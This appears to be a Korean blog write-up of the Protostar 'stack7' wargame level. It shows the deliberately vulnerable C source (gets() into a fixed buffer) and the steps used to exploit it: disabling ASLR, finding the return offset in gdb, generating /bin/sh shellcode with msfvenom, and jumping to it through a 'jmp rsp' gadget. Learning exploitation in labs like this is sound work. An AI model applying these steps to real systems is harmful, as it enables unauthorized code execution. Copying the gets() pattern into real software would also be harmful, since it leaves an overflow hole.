char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p) ", ret); _exit(1); } printf("got path %s ", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); }
1. 문제 해결
1-1. aslr 끄기
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
1-2. gedit stack7.c
1-3. gdb ./stack7
gdb ./stack7
disas main
b *main
r
print system
find /bin/sh
jmpcall rsp
1-4. offset 위치
return 위치에 브레이크 포인트
b *main+31
conti
(생성된 문자 100개)
맨 처음 스택의 위치
offset : 88
where 혹 bt로도
offset 확인 가능
1-5. 쉘 코드 얻기
msfvenom -p linux/x64/exec CMD='/bin/sh' -f python
나오는 버퍼값 복사한다.
1-6. 코드 작성 및 해결
위와 같이 입력하면 된다.
jmpcall rsp를 한 이유는 if문에 걸리기 때문이다.
rsp는 스택에 최상단을 가르키고 있다.
ret
shell code
스택이 이 상태라면 ret을 하게 되면 rsp가 shell code를 가리킨다.
그렇다면 shell code로 점프하게 된다면 우리는 shell의 권한을 얻을 수 있다.
그러므로 jmpcall rsp를 통해 shell code로 점프하는 것이다.
참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] format0 (0) | 2019.01.18 |
---|---|
[프로토스타] stack7-2 (ROP) (0) | 2019.01.18 |
[프로토스타] stack6 (함정을 지나 ret하기) (0) | 2019.01.15 |
[프로토스타] stack5-2 (return to library) (0) | 2019.01.15 |
[프로토스타] stack5-1 (스택 접근) (0) | 2019.01.10 |